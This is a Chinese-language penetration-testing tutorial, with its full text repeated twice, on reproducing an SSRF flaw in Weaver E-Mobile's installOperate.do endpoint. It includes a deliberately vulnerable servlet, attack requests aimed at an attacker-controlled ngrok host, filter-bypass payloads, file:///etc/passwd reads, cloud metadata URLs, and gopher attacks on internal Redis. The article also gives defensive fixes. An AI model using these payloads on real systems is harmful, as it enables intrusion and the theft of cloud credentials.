1. 项目概述与背景泛微E-Mobile作为国内主流的协同办公移动应用平台其后台管理系统的安全性直接关系到大量政企用户的内部数据安全。近期安全研究人员在其installOperate.do接口中发现了一个典型的服务器端请求伪造漏洞。简单来说这个漏洞允许攻击者通过构造特定的请求欺骗服务器向内部或外部的任意地址发起网络请求从而可能读取内网敏感信息、探测内网服务甚至在特定配置下实现远程代码执行。这就像你让大楼的保安服务器帮你从内部档案室内网取一份文件而保安没有核实你的身份和权限就照做了。这个漏洞的复现过程不仅是验证漏洞真实性的关键步骤更是理解SSRF攻击原理、掌握企业级应用安全测试方法论的绝佳案例。对于安全从业者、渗透测试工程师以及对应用安全感兴趣的学习者而言通过亲手搭建环境、触发漏洞、分析流量能够深刻理解参数污染、URL解析差异、协议处理等核心安全问题。本文将从一个实战者的角度带你从零开始完整复现这个漏洞并深入剖析其成因、危害以及在实际测试中的利用技巧和防御思路。2. 漏洞原理深度解析2.1 SSRF攻击机制再认识服务器端请求伪造其核心问题在于应用程序接受了用户可控的输入通常是URL并在未经验证或验证不充分的情况下使用服务器权限发起网络请求。与常见的SQL注入、XSS等客户端漏洞不同SSRF的攻击面在服务器侧危害往往更直接、更严重。泛微E-Mobile的installOperate.do接口从其命名推测很可能用于处理安装、配置或初始化相关的操作。在开发过程中此类接口有时需要从外部服务器拉取更新包、验证许可证或获取配置信息。如果开发人员直接使用前端传入的URL参数并调用类似HttpURLConnection、HttpClient或CURL的函数发起请求而没有对目标地址进行严格的过滤如限制为特定域名、检查是否为内网IPSSRF漏洞便产生了。注意在实际测试中我们常发现开发人员会使用正则表达式过滤127.0.0.1、localhost、192.168.*等常见内网地址但绕过方法层出不穷例如使用0.0.0.0、[::]IPv6的本地地址、十进制IP转换、域名重定向等。2.2 installOperate.do接口的脆弱点推测虽然我们无法直接查看源代码但根据漏洞公告和常见模式可以对该接口的脆弱点进行合理推测。一个典型的脆弱代码逻辑可能如下所示// 伪代码示意可能存在问题的处理逻辑 String operation request.getParameter(op); String sourceUrl request.getParameter(source); if (installFromRemote.equals(operation)) { // 从远程源安装或更新 URL url new URL(sourceUrl); HttpURLConnection conn (HttpURLConnection) url.openConnection(); // ... 发起请求读取响应内容 ... // 将响应内容作为更新包或配置进行处理 }这里的source参数完全由用户控制。攻击者可以将其指向http://127.0.0.1:8080/admin/secret尝试读取本机管理界面或者指向http://169.254.169.254/latest/meta-data/AWS元数据服务窃取云服务器的敏感信息。2.3 漏洞利用链的潜在延伸一个基础的SSRF可能只能读取到一些信息。但在企业内网环境中其危害可能被放大攻击内网脆弱服务扫描内网网段发现Redis、Memcached、Jenkins等未授权访问的服务通过SSRF向其发送攻击载荷。协议利用如果服务器支持file://、gopher://、dict://等协议攻击者可以直接读取服务器本地文件(file:///etc/passwd)或利用这些协议与内网服务进行交互实现更复杂的攻击。绕过认证与防火墙由于请求是从受信任的服务器内部发出可能会绕过某些基于客户端IP的访问控制或防火墙规则。理解这些延伸可能性能帮助我们在复现时不仅满足于“弹出个页面”而是更深入地评估漏洞的实际风险等级。3. 复现环境搭建与配置3.1 靶场环境准备为了安全、合法地复现漏洞我们必须在一个隔离的实验室环境中进行。推荐使用虚拟机方案。方案A使用现成漏洞镜像最快从 Vulhub、VulnHub 等知名漏洞靶场平台寻找包含“泛微 E-Mobile SSRF”的镜像或 docker-compose 配置。这是最快捷的方式环境通常已经配置好。使用 VMware Workstation 或 VirtualBox 导入虚拟机镜像或将 Docker 环境运行起来。确保攻击机通常是你的物理机或另一个虚拟机与靶机在同一网络段能够互相访问。方案B手动搭建测试环境更贴近实战如果找不到现成靶场我们需要模拟一个环境。由于无法获取真实的漏洞版本E-Mobile安装包我们可以搭建一个具有类似脆弱性的简易Web应用作为替代靶标用于理解攻击流程。准备一台虚拟机安装 CentOS 7 或 Ubuntu 20.04。安装Java Web环境安装JDK 1.8和Tomcat 8.5。# 以Ubuntu为例 sudo apt update sudo apt install openjdk-8-jdk -y wget https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.88/bin/apache-tomcat-8.5.88.tar.gz tar -xzf apache-tomcat-8.5.88.tar.gz sudo mv apache-tomcat-8.5.88 /opt/tomcat部署脆弱应用编写一个简单的Servlet模拟存在问题的installOperate.do。// InstallOperateServlet.java 核心部分 protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String url request.getParameter(url); if (url ! null !url.isEmpty()) { try { URL u new URL(url); URLConnection conn u.openConnection(); BufferedReader in new BufferedReader(new InputStreamReader(conn.getInputStream())); String line; while ((line in.readLine()) ! null) { response.getWriter().println(line); // 危险将远程内容直接输出 } in.close(); } catch (Exception e) { response.getWriter().println(Error: e.getMessage()); } } }将其编译打包成WAR文件部署到Tomcat的webapps目录下。启动服务启动Tomcat访问http://靶机IP:8080/your-app/installOperate确认服务正常。实操心得手动搭建环境虽然繁琐但能让你对漏洞的代码级成因有肌肉记忆般的理解。在实战中遇到未知系统这种“代码推理”能力至关重要。3.2 攻击机工具集配置你的攻击机通常是Kali Linux或安装了必要工具的物理机需要准备好以下工具Burp Suite Professional/Community用于拦截、重放、修改HTTP请求是SSRF测试的核心工具。社区版足够用于复现。浏览器配置好代理通常为127.0.0.1:8080将所有流量导向Burp Suite。Netcat (nc)用于监听端口验证服务器是否向我们指定的地址发起了请求。nc -lvnp 9000。一个公网可访问的HTTP服务用于接收服务器发出的请求并查看完整请求内容。可以用Ngrok、Serveo等工具快速将本地端口暴露到公网或者使用自己的云服务器。# 使用ngrok (需注册获取authtoken) ./ngrok http 9000 # 运行后你会获得一个类似 https://a1b2c3d4.ngrok.io 的临时域名。目录爆破工具可选如dirsearch、gobuster用于在发现SSRF后对内网服务进行路径探测。dirsearch -u http://127.0.0.1:8080 -e php,html,js --proxyhttp://127.0.0.1:80804. 漏洞复现实操步骤4.1 信息收集与接口发现首先我们需要找到installOperate.do这个接口。在真实测试中这可能通过目录扫描、JS文件分析或历史漏洞信息得知。假设我们已经知道目标系统为http://target-ip:8080。使用浏览器或curl访问目标了解E-Mobile的大致结构。使用目录扫描工具寻找包含install、operate关键词的路径。假设我们通过扫描发现了http://target-ip:8080/mobile/installOperate.do。4.2 构造基础攻击请求启动Burp Suite开启浏览器代理然后访问目标接口。通常这种接口需要参数。初次尝试我们可能直接访问该URL服务器返回错误或要求参数。我们通过Burp拦截这个请求。将拦截到的请求发送到Burp的Repeater模块方便多次修改和测试。在Repeater中我们尝试添加常见的参数名如url、source、path、file等并赋予一个我们控制的外部地址值。例如将请求方法改为POST有时漏洞存在于POST中并添加参数POST /mobile/installOperate.do HTTP/1.1 Host: target-ip:8080 Content-Type: application/x-www-form-urlencoded opinstallsourcehttp://your-ngrok-domain.ngrok.io或者通过GET方式GET /mobile/installOperate.do?opinstallsourcehttp://your-ngrok-domain.ngrok.io HTTP/1.1 Host: target-ip:8080在攻击机上使用nc监听一个端口如9000或者观察你的Ngrok Web界面。4.3 验证漏洞存在发送构造好的请求后观察Burp Response如果响应中包含了你的Ngrok页面内容或者出现了连接错误信息如“Connection refused”指向了你指定的IP:Port那么基本可以确定存在SSRF服务器尝试连接了你给的地址。Netcat/Ngrok如果你在nc -lvnp 9000的终端看到了来自目标服务器IP的TCP连接或者Ngrok界面收到了HTTP请求并显示了完整的User-Agent、Headers等信息这是SSRF存在的铁证。关键点记录你需要记录下服务器发出的HTTP请求的全部细节包括Headers。特别是User-Agent它可能包含了服务器使用的HTTP库信息如Java/1.8.0_291这有助于后续利用。4.4 绕过可能的过滤机制如果直接使用http://your-domain.com没有收到请求说明可能存在过滤。我们需要尝试绕过。域名重定向在自己的服务器上设置一个302跳转将请求最终跳转到内网地址。很多过滤器只检查初始URL。# 一个简单的Flask跳转示例 from flask import Flask, redirect app Flask(__name__) app.route(/) def index(): return redirect(http://127.0.0.1:8080/admin, code302)然后将source参数设置为你的这个跳转地址。IP地址编码绕过十进制IPhttp://2130706433等价于http://127.0.0.1。计算127256^3 0256^2 0256^1 1256^0八进制IPhttp://0177.0.0.1部分系统支持。十六进制IPhttp://0x7f.0x0.0x0.0x1。IPv6地址http://[::1]:8080或http://[::]。省略IP段http://127.1可能被解析为127.0.0.1。利用URL解析差异添加默认端口http://127.0.0.1:80your-domain.com。某些解析器会将前的内容视为认证信息实际连接your-domain.com而另一些可能忽略后的内容。利用#、?http://your-domain.com#127.0.0.1或http://your-domain.com?127.0.0.1。畸形URLhttp://127.0.0.1:8080\\your-domain.com。更换协议尝试file://、dict://、gopher://、ftp://。例如file:///etc/passwd尝试读取本地文件。注意事项绕过测试需要耐心和系统性。建议创建一个测试用例表逐一尝试并记录每个payload的响应结果。很多时候漏洞利用成功就藏在某个不起眼的编码变体里。5. 漏洞利用与内网探测一旦确认SSRF存在且可以指定目标我们就可以开始探索其危害。5.1 基础信息收集读取本地文件如果支持file://协议尝试读取系统文件。sourcefile:///etc/passwd sourcefile:///c:/windows/system32/drivers/etc/hosts探测本地服务使用http://127.0.0.1:PORT扫描靶机本地开放的其他端口如22, 3306, 6379, 8081等。通过响应时间、错误信息或返回内容判断端口状态和服务类型。5.2 内网服务扫描与交互假设服务器在内网网段192.168.1.0/24。端口扫描利用Burp的Intruder模块或编写简单脚本批量将source参数设置为http://192.168.1.1:80http://192.168.1.2:80... 观察响应差异。响应时间短且返回非连接拒绝错误的可能为存活主机。识别服务对存活的IP扫描常见端口80, 443, 8080, 22, 3306, 6379, 27017等。根据返回的Banner、错误页面或特定路径的响应来识别服务如Nginx欢迎页、Redis错误信息、MySQL握手包等。攻击无认证服务如果发现内网Redis6379未授权访问可以构造SSRF攻击Redis。这需要利用gopher://或dict://协议如果服务器支持向Redis发送命令。例如通过SSRF让Redis写入Webshell先构造一个转换后的Gopher payload用于向Redis发送SET和CONFIG命令。将payload作为URL通过SSRF触发。由于过程复杂通常需要借助工具生成payload。5.3 访问云元数据服务这是一个非常危险且常见的利用场景。在AWS、阿里云、腾讯云等云环境中虚拟机实例可以通过内网特定地址访问元数据服务获取临时密钥、角色信息等进而导致云服务器被接管。sourcehttp://169.254.169.254/latest/meta-data/ sourcehttp://100.100.100.200/latest/meta-data/ (阿里云) sourcehttp://metadata.tencentyun.com/latest/meta-data/ (腾讯云)尝试访问这些地址如果返回了JSON或文本信息说明漏洞危害极大可能直接导致云环境沦陷。6. 漏洞修复与防御建议复现漏洞的最终目的是为了修复和防御。针对此类SSRF漏洞应从多个层面进行防护。6.1 代码层修复根本解决白名单校验严格校验目标URL。只允许访问预先定义好的、可信的白名单域名或IP地址。这是最有效的方法。private static final SetString ALLOWED_HOSTS Set.of(download.weaver.com.cn, update.weaver.com); public boolean isAllowed(String urlString) { try { URL url new URL(urlString); String host url.getHost(); return ALLOWED_HOSTS.contains(host); } catch (Exception e) { return false; } }禁用危险协议在发起请求的客户端代码中显式禁用file、gopher、dict、ftp等非HTTP/HTTPS协议。统一使用内网域名如果必须访问内部服务使用内部DNS域名而非IP并在网络层面做好隔离。使用安全的URL解析库使用java.net.URI而非URL类并仔细处理用户输入。对解析后的host进行严格的校验。6.2 网络层加固出口过滤在服务器所在网络的出口防火墙或安全组上限制服务器只能向必要的、已知的外部地址发起出站连接。这是纵深防御的关键一环。网络分段将Web服务器部署在独立的DMZ区域严格限制其访问内部核心业务区的权限。即使存在SSRF攻击者也难以触及核心数据。云元数据服务保护使用云提供商的安全功能如AWS的IMDSv2需要令牌或直接通过安全组/防火墙策略阻断实例对元数据服务的访问需谨慎可能影响正常功能。6.3 运维与安全流程定期安全扫描与渗透测试将SSRF纳入常规的漏洞扫描和渗透测试范围使用自动化工具和手动测试相结合的方式进行检查。安全编码培训让开发人员充分理解SSRF的危害和常见模式在代码审查中重点关注所有发起外部网络请求的地方。依赖库更新确保使用的HTTP客户端库如Apache HttpClient, OkHttp, JDK原生库是最新版本以规避已知的解析漏洞。7. 常见问题与排查技巧实录在复现和测试过程中你肯定会遇到各种问题。以下是一些常见情况及解决思路问题1发送Payload后Burp和Ngrok都没有任何反应。排查首先检查网络连通性确保靶机可以访问到你的Ngrok域名或IP。可以在靶机上如果有权限执行curl your-ngrok-domain.ngrok.io测试。其次可能接口需要特定的Cookie、Referer或Token认证。查看正常访问E-Mobile其他功能时的请求头尝试复制过来。最后可能参数名猜错了尝试path、fileurl、config等其他常见名称。问题2服务器返回了错误但错误信息显示连接被拒绝Connection refused到我指定的IP。恭喜这通常意味着SSRF存在服务器确实尝试连接了你给的地址只是那个端口没开。你可以尝试将地址改为一个你正在监听的端口如http://your-ip:9000看是否能收到TCP连接。问题3如何判断服务器支持哪些协议如gopher尝试使用dict://协议连接一个已知存在的服务如dict://127.0.0.1:6379/info如果Redis存在。观察响应是“协议不支持”的错误还是来自Redis的响应。也可以尝试gopher://127.0.0.1:80/_后面跟一个简单的HTTP请求原始数据看是否能触发对80端口的请求。问题4在利用SSRF攻击内网Redis时payload总是失败。这可能是最棘手的部分。首先确认Redis确实存在且未授权。其次确认服务器端的HTTP库支持Gopher协议较老版本的某些库支持。第三Gopher payload需要将Redis命令转换为特殊的格式并且要注意换行符\r\n。建议使用成熟的工具如Gopherus生成payload并在本地先搭建环境测试成功再用于实际目标。第四注意URL编码问题发送到Burp的payload可能需要多次编码。问题5扫描内网速度太慢如何优化使用Burp Intruder的Cluster bomb模式同时设置IP段和端口列表进行爆破。但要注意线程不要太高避免对目标网络造成影响。更好的方式是先通过SSRF结合ICMP或TCP延时判断非标准快速定位存活主机再对存活主机进行端口扫描。也可以编写Python脚本利用异步请求库如aiohttp来提升效率。个人体会SSRF的复现和利用三分靠工具七分靠耐心和思维。最大的挑战往往不是技术本身而是对目标系统行为逻辑的揣摩和对各种过滤规则的绕过尝试。每一次成功的绕过都建立在对HTTP协议、URL解析、网络编程的深刻理解之上。把这个漏洞吃透你的内网渗透测试能力会提升一个明显的档次。最后切记所有测试必须在获得明确授权的环境中进行。
泛微E-Mobile SSRF漏洞实战复现:从原理到内网探测与防御
发布时间:2026/6/25 18:23:18
1. 项目概述与背景泛微E-Mobile作为国内主流的协同办公移动应用平台其后台管理系统的安全性直接关系到大量政企用户的内部数据安全。近期安全研究人员在其installOperate.do接口中发现了一个典型的服务器端请求伪造漏洞。简单来说这个漏洞允许攻击者通过构造特定的请求欺骗服务器向内部或外部的任意地址发起网络请求从而可能读取内网敏感信息、探测内网服务甚至在特定配置下实现远程代码执行。这就像你让大楼的保安服务器帮你从内部档案室内网取一份文件而保安没有核实你的身份和权限就照做了。这个漏洞的复现过程不仅是验证漏洞真实性的关键步骤更是理解SSRF攻击原理、掌握企业级应用安全测试方法论的绝佳案例。对于安全从业者、渗透测试工程师以及对应用安全感兴趣的学习者而言通过亲手搭建环境、触发漏洞、分析流量能够深刻理解参数污染、URL解析差异、协议处理等核心安全问题。本文将从一个实战者的角度带你从零开始完整复现这个漏洞并深入剖析其成因、危害以及在实际测试中的利用技巧和防御思路。2. 漏洞原理深度解析2.1 SSRF攻击机制再认识服务器端请求伪造其核心问题在于应用程序接受了用户可控的输入通常是URL并在未经验证或验证不充分的情况下使用服务器权限发起网络请求。与常见的SQL注入、XSS等客户端漏洞不同SSRF的攻击面在服务器侧危害往往更直接、更严重。泛微E-Mobile的installOperate.do接口从其命名推测很可能用于处理安装、配置或初始化相关的操作。在开发过程中此类接口有时需要从外部服务器拉取更新包、验证许可证或获取配置信息。如果开发人员直接使用前端传入的URL参数并调用类似HttpURLConnection、HttpClient或CURL的函数发起请求而没有对目标地址进行严格的过滤如限制为特定域名、检查是否为内网IPSSRF漏洞便产生了。注意在实际测试中我们常发现开发人员会使用正则表达式过滤127.0.0.1、localhost、192.168.*等常见内网地址但绕过方法层出不穷例如使用0.0.0.0、[::]IPv6的本地地址、十进制IP转换、域名重定向等。2.2 installOperate.do接口的脆弱点推测虽然我们无法直接查看源代码但根据漏洞公告和常见模式可以对该接口的脆弱点进行合理推测。一个典型的脆弱代码逻辑可能如下所示// 伪代码示意可能存在问题的处理逻辑 String operation request.getParameter(op); String sourceUrl request.getParameter(source); if (installFromRemote.equals(operation)) { // 从远程源安装或更新 URL url new URL(sourceUrl); HttpURLConnection conn (HttpURLConnection) url.openConnection(); // ... 发起请求读取响应内容 ... // 将响应内容作为更新包或配置进行处理 }这里的source参数完全由用户控制。攻击者可以将其指向http://127.0.0.1:8080/admin/secret尝试读取本机管理界面或者指向http://169.254.169.254/latest/meta-data/AWS元数据服务窃取云服务器的敏感信息。2.3 漏洞利用链的潜在延伸一个基础的SSRF可能只能读取到一些信息。但在企业内网环境中其危害可能被放大攻击内网脆弱服务扫描内网网段发现Redis、Memcached、Jenkins等未授权访问的服务通过SSRF向其发送攻击载荷。协议利用如果服务器支持file://、gopher://、dict://等协议攻击者可以直接读取服务器本地文件(file:///etc/passwd)或利用这些协议与内网服务进行交互实现更复杂的攻击。绕过认证与防火墙由于请求是从受信任的服务器内部发出可能会绕过某些基于客户端IP的访问控制或防火墙规则。理解这些延伸可能性能帮助我们在复现时不仅满足于“弹出个页面”而是更深入地评估漏洞的实际风险等级。3. 复现环境搭建与配置3.1 靶场环境准备为了安全、合法地复现漏洞我们必须在一个隔离的实验室环境中进行。推荐使用虚拟机方案。方案A使用现成漏洞镜像最快从 Vulhub、VulnHub 等知名漏洞靶场平台寻找包含“泛微 E-Mobile SSRF”的镜像或 docker-compose 配置。这是最快捷的方式环境通常已经配置好。使用 VMware Workstation 或 VirtualBox 导入虚拟机镜像或将 Docker 环境运行起来。确保攻击机通常是你的物理机或另一个虚拟机与靶机在同一网络段能够互相访问。方案B手动搭建测试环境更贴近实战如果找不到现成靶场我们需要模拟一个环境。由于无法获取真实的漏洞版本E-Mobile安装包我们可以搭建一个具有类似脆弱性的简易Web应用作为替代靶标用于理解攻击流程。准备一台虚拟机安装 CentOS 7 或 Ubuntu 20.04。安装Java Web环境安装JDK 1.8和Tomcat 8.5。# 以Ubuntu为例 sudo apt update sudo apt install openjdk-8-jdk -y wget https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.88/bin/apache-tomcat-8.5.88.tar.gz tar -xzf apache-tomcat-8.5.88.tar.gz sudo mv apache-tomcat-8.5.88 /opt/tomcat部署脆弱应用编写一个简单的Servlet模拟存在问题的installOperate.do。// InstallOperateServlet.java 核心部分 protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String url request.getParameter(url); if (url ! null !url.isEmpty()) { try { URL u new URL(url); URLConnection conn u.openConnection(); BufferedReader in new BufferedReader(new InputStreamReader(conn.getInputStream())); String line; while ((line in.readLine()) ! null) { response.getWriter().println(line); // 危险将远程内容直接输出 } in.close(); } catch (Exception e) { response.getWriter().println(Error: e.getMessage()); } } }将其编译打包成WAR文件部署到Tomcat的webapps目录下。启动服务启动Tomcat访问http://靶机IP:8080/your-app/installOperate确认服务正常。实操心得手动搭建环境虽然繁琐但能让你对漏洞的代码级成因有肌肉记忆般的理解。在实战中遇到未知系统这种“代码推理”能力至关重要。3.2 攻击机工具集配置你的攻击机通常是Kali Linux或安装了必要工具的物理机需要准备好以下工具Burp Suite Professional/Community用于拦截、重放、修改HTTP请求是SSRF测试的核心工具。社区版足够用于复现。浏览器配置好代理通常为127.0.0.1:8080将所有流量导向Burp Suite。Netcat (nc)用于监听端口验证服务器是否向我们指定的地址发起了请求。nc -lvnp 9000。一个公网可访问的HTTP服务用于接收服务器发出的请求并查看完整请求内容。可以用Ngrok、Serveo等工具快速将本地端口暴露到公网或者使用自己的云服务器。# 使用ngrok (需注册获取authtoken) ./ngrok http 9000 # 运行后你会获得一个类似 https://a1b2c3d4.ngrok.io 的临时域名。目录爆破工具可选如dirsearch、gobuster用于在发现SSRF后对内网服务进行路径探测。dirsearch -u http://127.0.0.1:8080 -e php,html,js --proxyhttp://127.0.0.1:80804. 漏洞复现实操步骤4.1 信息收集与接口发现首先我们需要找到installOperate.do这个接口。在真实测试中这可能通过目录扫描、JS文件分析或历史漏洞信息得知。假设我们已经知道目标系统为http://target-ip:8080。使用浏览器或curl访问目标了解E-Mobile的大致结构。使用目录扫描工具寻找包含install、operate关键词的路径。假设我们通过扫描发现了http://target-ip:8080/mobile/installOperate.do。4.2 构造基础攻击请求启动Burp Suite开启浏览器代理然后访问目标接口。通常这种接口需要参数。初次尝试我们可能直接访问该URL服务器返回错误或要求参数。我们通过Burp拦截这个请求。将拦截到的请求发送到Burp的Repeater模块方便多次修改和测试。在Repeater中我们尝试添加常见的参数名如url、source、path、file等并赋予一个我们控制的外部地址值。例如将请求方法改为POST有时漏洞存在于POST中并添加参数POST /mobile/installOperate.do HTTP/1.1 Host: target-ip:8080 Content-Type: application/x-www-form-urlencoded opinstallsourcehttp://your-ngrok-domain.ngrok.io或者通过GET方式GET /mobile/installOperate.do?opinstallsourcehttp://your-ngrok-domain.ngrok.io HTTP/1.1 Host: target-ip:8080在攻击机上使用nc监听一个端口如9000或者观察你的Ngrok Web界面。4.3 验证漏洞存在发送构造好的请求后观察Burp Response如果响应中包含了你的Ngrok页面内容或者出现了连接错误信息如“Connection refused”指向了你指定的IP:Port那么基本可以确定存在SSRF服务器尝试连接了你给的地址。Netcat/Ngrok如果你在nc -lvnp 9000的终端看到了来自目标服务器IP的TCP连接或者Ngrok界面收到了HTTP请求并显示了完整的User-Agent、Headers等信息这是SSRF存在的铁证。关键点记录你需要记录下服务器发出的HTTP请求的全部细节包括Headers。特别是User-Agent它可能包含了服务器使用的HTTP库信息如Java/1.8.0_291这有助于后续利用。4.4 绕过可能的过滤机制如果直接使用http://your-domain.com没有收到请求说明可能存在过滤。我们需要尝试绕过。域名重定向在自己的服务器上设置一个302跳转将请求最终跳转到内网地址。很多过滤器只检查初始URL。# 一个简单的Flask跳转示例 from flask import Flask, redirect app Flask(__name__) app.route(/) def index(): return redirect(http://127.0.0.1:8080/admin, code302)然后将source参数设置为你的这个跳转地址。IP地址编码绕过十进制IPhttp://2130706433等价于http://127.0.0.1。计算127256^3 0256^2 0256^1 1256^0八进制IPhttp://0177.0.0.1部分系统支持。十六进制IPhttp://0x7f.0x0.0x0.0x1。IPv6地址http://[::1]:8080或http://[::]。省略IP段http://127.1可能被解析为127.0.0.1。利用URL解析差异添加默认端口http://127.0.0.1:80your-domain.com。某些解析器会将前的内容视为认证信息实际连接your-domain.com而另一些可能忽略后的内容。利用#、?http://your-domain.com#127.0.0.1或http://your-domain.com?127.0.0.1。畸形URLhttp://127.0.0.1:8080\\your-domain.com。更换协议尝试file://、dict://、gopher://、ftp://。例如file:///etc/passwd尝试读取本地文件。注意事项绕过测试需要耐心和系统性。建议创建一个测试用例表逐一尝试并记录每个payload的响应结果。很多时候漏洞利用成功就藏在某个不起眼的编码变体里。5. 漏洞利用与内网探测一旦确认SSRF存在且可以指定目标我们就可以开始探索其危害。5.1 基础信息收集读取本地文件如果支持file://协议尝试读取系统文件。sourcefile:///etc/passwd sourcefile:///c:/windows/system32/drivers/etc/hosts探测本地服务使用http://127.0.0.1:PORT扫描靶机本地开放的其他端口如22, 3306, 6379, 8081等。通过响应时间、错误信息或返回内容判断端口状态和服务类型。5.2 内网服务扫描与交互假设服务器在内网网段192.168.1.0/24。端口扫描利用Burp的Intruder模块或编写简单脚本批量将source参数设置为http://192.168.1.1:80http://192.168.1.2:80... 观察响应差异。响应时间短且返回非连接拒绝错误的可能为存活主机。识别服务对存活的IP扫描常见端口80, 443, 8080, 22, 3306, 6379, 27017等。根据返回的Banner、错误页面或特定路径的响应来识别服务如Nginx欢迎页、Redis错误信息、MySQL握手包等。攻击无认证服务如果发现内网Redis6379未授权访问可以构造SSRF攻击Redis。这需要利用gopher://或dict://协议如果服务器支持向Redis发送命令。例如通过SSRF让Redis写入Webshell先构造一个转换后的Gopher payload用于向Redis发送SET和CONFIG命令。将payload作为URL通过SSRF触发。由于过程复杂通常需要借助工具生成payload。5.3 访问云元数据服务这是一个非常危险且常见的利用场景。在AWS、阿里云、腾讯云等云环境中虚拟机实例可以通过内网特定地址访问元数据服务获取临时密钥、角色信息等进而导致云服务器被接管。sourcehttp://169.254.169.254/latest/meta-data/ sourcehttp://100.100.100.200/latest/meta-data/ (阿里云) sourcehttp://metadata.tencentyun.com/latest/meta-data/ (腾讯云)尝试访问这些地址如果返回了JSON或文本信息说明漏洞危害极大可能直接导致云环境沦陷。6. 漏洞修复与防御建议复现漏洞的最终目的是为了修复和防御。针对此类SSRF漏洞应从多个层面进行防护。6.1 代码层修复根本解决白名单校验严格校验目标URL。只允许访问预先定义好的、可信的白名单域名或IP地址。这是最有效的方法。private static final SetString ALLOWED_HOSTS Set.of(download.weaver.com.cn, update.weaver.com); public boolean isAllowed(String urlString) { try { URL url new URL(urlString); String host url.getHost(); return ALLOWED_HOSTS.contains(host); } catch (Exception e) { return false; } }禁用危险协议在发起请求的客户端代码中显式禁用file、gopher、dict、ftp等非HTTP/HTTPS协议。统一使用内网域名如果必须访问内部服务使用内部DNS域名而非IP并在网络层面做好隔离。使用安全的URL解析库使用java.net.URI而非URL类并仔细处理用户输入。对解析后的host进行严格的校验。6.2 网络层加固出口过滤在服务器所在网络的出口防火墙或安全组上限制服务器只能向必要的、已知的外部地址发起出站连接。这是纵深防御的关键一环。网络分段将Web服务器部署在独立的DMZ区域严格限制其访问内部核心业务区的权限。即使存在SSRF攻击者也难以触及核心数据。云元数据服务保护使用云提供商的安全功能如AWS的IMDSv2需要令牌或直接通过安全组/防火墙策略阻断实例对元数据服务的访问需谨慎可能影响正常功能。6.3 运维与安全流程定期安全扫描与渗透测试将SSRF纳入常规的漏洞扫描和渗透测试范围使用自动化工具和手动测试相结合的方式进行检查。安全编码培训让开发人员充分理解SSRF的危害和常见模式在代码审查中重点关注所有发起外部网络请求的地方。依赖库更新确保使用的HTTP客户端库如Apache HttpClient, OkHttp, JDK原生库是最新版本以规避已知的解析漏洞。7. 常见问题与排查技巧实录在复现和测试过程中你肯定会遇到各种问题。以下是一些常见情况及解决思路问题1发送Payload后Burp和Ngrok都没有任何反应。排查首先检查网络连通性确保靶机可以访问到你的Ngrok域名或IP。可以在靶机上如果有权限执行curl your-ngrok-domain.ngrok.io测试。其次可能接口需要特定的Cookie、Referer或Token认证。查看正常访问E-Mobile其他功能时的请求头尝试复制过来。最后可能参数名猜错了尝试path、fileurl、config等其他常见名称。问题2服务器返回了错误但错误信息显示连接被拒绝Connection refused到我指定的IP。恭喜这通常意味着SSRF存在服务器确实尝试连接了你给的地址只是那个端口没开。你可以尝试将地址改为一个你正在监听的端口如http://your-ip:9000看是否能收到TCP连接。问题3如何判断服务器支持哪些协议如gopher尝试使用dict://协议连接一个已知存在的服务如dict://127.0.0.1:6379/info如果Redis存在。观察响应是“协议不支持”的错误还是来自Redis的响应。也可以尝试gopher://127.0.0.1:80/_后面跟一个简单的HTTP请求原始数据看是否能触发对80端口的请求。问题4在利用SSRF攻击内网Redis时payload总是失败。这可能是最棘手的部分。首先确认Redis确实存在且未授权。其次确认服务器端的HTTP库支持Gopher协议较老版本的某些库支持。第三Gopher payload需要将Redis命令转换为特殊的格式并且要注意换行符\r\n。建议使用成熟的工具如Gopherus生成payload并在本地先搭建环境测试成功再用于实际目标。第四注意URL编码问题发送到Burp的payload可能需要多次编码。问题5扫描内网速度太慢如何优化使用Burp Intruder的Cluster bomb模式同时设置IP段和端口列表进行爆破。但要注意线程不要太高避免对目标网络造成影响。更好的方式是先通过SSRF结合ICMP或TCP延时判断非标准快速定位存活主机再对存活主机进行端口扫描。也可以编写Python脚本利用异步请求库如aiohttp来提升效率。个人体会SSRF的复现和利用三分靠工具七分靠耐心和思维。最大的挑战往往不是技术本身而是对目标系统行为逻辑的揣摩和对各种过滤规则的绕过尝试。每一次成功的绕过都建立在对HTTP协议、URL解析、网络编程的深刻理解之上。把这个漏洞吃透你的内网渗透测试能力会提升一个明显的档次。最后切记所有测试必须在获得明确授权的环境中进行。